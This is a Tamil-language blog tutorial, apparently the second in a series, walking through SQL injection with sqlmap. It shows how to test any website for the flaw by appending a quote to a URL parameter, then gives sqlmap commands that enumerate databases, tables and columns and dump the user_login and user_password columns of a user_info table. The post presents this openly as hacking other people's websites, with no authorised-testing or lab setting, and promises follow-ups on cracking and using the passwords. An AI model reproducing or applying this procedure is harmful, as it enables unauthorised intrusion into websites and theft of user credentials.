SQL INJECTION-2(sqlmap)

நாம இப்ப sqlmap என்கிற டூல் யூஸ் பன்னி ஒரு வெப்சைட்ட எப்டி ஹேக் பன்றதுன்னு பார்க்க போறோம்

(database னா என்ன டேபிள்ஸ்னா என்ன காலம்ஸ்னா என்னனு உங்களுக்கு ஏர்கெனவே

தெரிந்திருந்தால் இந்த பதிவு உங்களுக்கு எளிமையாக புரியும் என்பதை சொல்லிக்கொள்கிறேன்)

 sqlmap டூல் யூஸ் பன்றதுக்கு முன்னாடி ஒரு வேலை பன்னனும் அதாவது நாம ஹேக் செய்யப்போற வெப்சைட் வீக் ஆ இருக்கா இல்லையான்னு பாக்கனும்

வீக்கா இருந்தா மட்டுமே நம்மால் உள் நுழைய முடியும் அத எப்படி தெரிஞ்சிக்கிறதுன்னு இப்ப சொல்றேன்

எதாவாது ஒரு வெப்சைட் நான் எடுத்துக் கொள்கிறேன்

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=1

(மேலே கொடுக்கப்பட்டுள்ள வெப்சைட் ஒரு டம்மி வெப்சைட்)

இந்த லிங்கை பிரவ்சரில் பேஸ்ட் செய்து அதனை தொடர்ந்து சிங்கில் கோட்  ‘ கொடுக்கவும் பின்

வருமாறு

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15’

பின்பு என்டெர் செய்யவும் அதில் பின்வருமாறு பிழை செய்தி வந்தால் வெப்சைட் 

வீக்காக(vulnerability) இருக்கிறது என்று அர்த்தம்

(மேலே
குறிப்பிட்டவாறு பிழை செய்தி வரவில்லையாயின் அந்த வெப்சைட் பாதுகாப்பாக இருக்கிறது
என்று அர்த்தம்)

பிறகு என்ன
நம்மளுடைய கை வரிசையை காட்ட வேண்டியதுதான் ,முதலில் காலி லினக்ஸில்
டெர்மினெலை ஓப்பன் செய்து கொள்ளவும் அதில் பின் வரும் கமாண்ட்ஸ்களை
டைப் செய்யவும்
 


sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -–dbs 

மேற்கண்ட கமாண்டில்  sqlmap என்பது நாம் யூஸ் பன்னும் டூலை குறிப்பிடுகிறது அதனை  தொடர்ந்து 

வரும்  -u என்பது url என்பதை குறிப்பிடுகிறது அதனை தொடர்ந்து நாம் ஹேக் செய்யப்  போகும்

 வெப்சைட்டை கொடுக்க வேண்டும் அதனை தொடர்ந்து வரும்  – - dbs என்பது  அந்த  வெப்சைட்டில் 

இருக்கக்கூடிய டேட்டாபேஸ் களை குறிப்பிடுகிறது    

மேற் கொடுக்கப்பட்டுள்ளபடி டைப் செய்து பிறகு என்டெர் செய்யவும்   

மேற்கண்ட படத்தில் அந்த வெப்சைட்டில் mysql database யூஸ் பன்னுவதையும் அதில் உள்ள

டேட்டாபேஸ்களையும் எடுத்துக் காட்டுகிறது

பிறகு பின் வருமாறு டைப் செய்து என்டெர் செய்யவும்

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15  –D sqldummywebsite --tables

இதில் –D என்பது டேட்டாபேஸை குறிப்பிடுகிறது அதாவது அதனை தொடர்ந்து டேட்டாபேஸின்

பெயரை கொடுக்க வேண்டும் இங்கு sqldummywebsite என்பது நான் அந்த வெப்சைட்டில் தேர்வு செய்த டேட்டாபேஸ் ஆகும்

(படத்தில் டேட்டாபேஸின் பெயர் மறைக்கப்பட்டுள்ளது) 

அதனை தொடர்ந்து வரும் –tables என்பது அந்த டேட்டா பேஸில் இருக்கக்கூடிய டேபிள்ஸ் ஐ குறிப்பிடுகிறது

என்டெர் செய்தவுடன் அதில் பின்வருமாறு தோன்றும்

இப்படத்தில் அந்த டேட்டா பேஸில் இருக்கக்கூடிய அத்தனை அட்டவனைகளையும் எடுத்துக் காட்டுகிறது


அதில் user_info என்கிற டேபிளில் தான் அந்த வெப்சைட்டின் username and password இருக்கும் 
அந்த டேபிளை நாம் நோட் பன்னிக்க வேண்டும்

 பிறகு பின் வருமாறு  கட்டளைகளை கொடுக்கவும்







sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15  -D

sqldummywebsite  -T user_info  --columns


இதில் –T என்பது
டேபிள்ஸ் ஐ குறிப்பிடுகிறது அதனை தொடர்ந்து நாம் தேர்வு செய்த டேபிளின் பெயரை
கொடுக்கவேண்டும் இங்கு டேபிளின் பெயர் user_info ஆகும்


அதனை தொடர்ந்து
வரும் –columns என்பது அந்த டேபிளில் உள்ள columns ஐ குறிக்கின்றது 


என்டர் செய்யவும்
அதில் பின்வருமாறு தோன்றும்



அந்த டேபிளில் உள்ள
columns களை கொடுக்கின்றது  இதில் நாம் user_login,user_password
என்பதை குறித்துக்கொள்ள வேண்டும்

பின்வருமாறு கட்டளைகளை  கொடுக்க வேண்டும்


 



sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D 

sqldummywebsite -T user_info -C user_login --dump
 
இதில்  -C என்பது columns  ஐ குறிக்கின்றது அதனை தொடர்ந்து நாம் குறிப்பெடுத்த user_info என்பதை 
 
கொடுக்க வேண்டும் அதை தொடர்ந்து –dump என்பது அந்த காலமில் உள்ள வேல்யூவை திறந்து 
 
காட்டும்  டைப் செய்து என்டெர் செய்யவும்
 
 


 





அந்த காலமில் உள்ள யூசர் நேம் காட்டப்படும், பிறகு பின் வரும் கட்டளையை கொடுக்கவும்

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15-D 

sqldummywebsite  -T user_info  -C user_password --dump


 


  

இதில் அந்த வெப்சைட்டின் பாஸ்வேர்ட் காட்டப்படும் ரொம்ப சந்தோசப்படாதீங்க,  அந்த பாஸ்வேர்ட் என்க்ரிப்ட் செய்யப்பட்டு இருக்கும் அதை நாம் டிக்ரிப்ட் செய்யவேண்டும்  அப்பொழுதுதான் அந்த வெப்சைட்டின் பாஸ்வேர்ட் கிடைக்கும்

பிறகு அந்த வெப்சைட் நமது கையில்

சரி சரி username and password கண்டுபிடிச்சாச்சு அதவச்சு எப்டி உள்ள நுழைவது என்பது பற்றியும் பாஸ்வேர்டை டிக்ரிப்ட் செய்வது எப்படி என்பது பற்றியும் இனி வரும் பதிவுகளில் பார்ப்போம்  

நன்றி மக்களே……..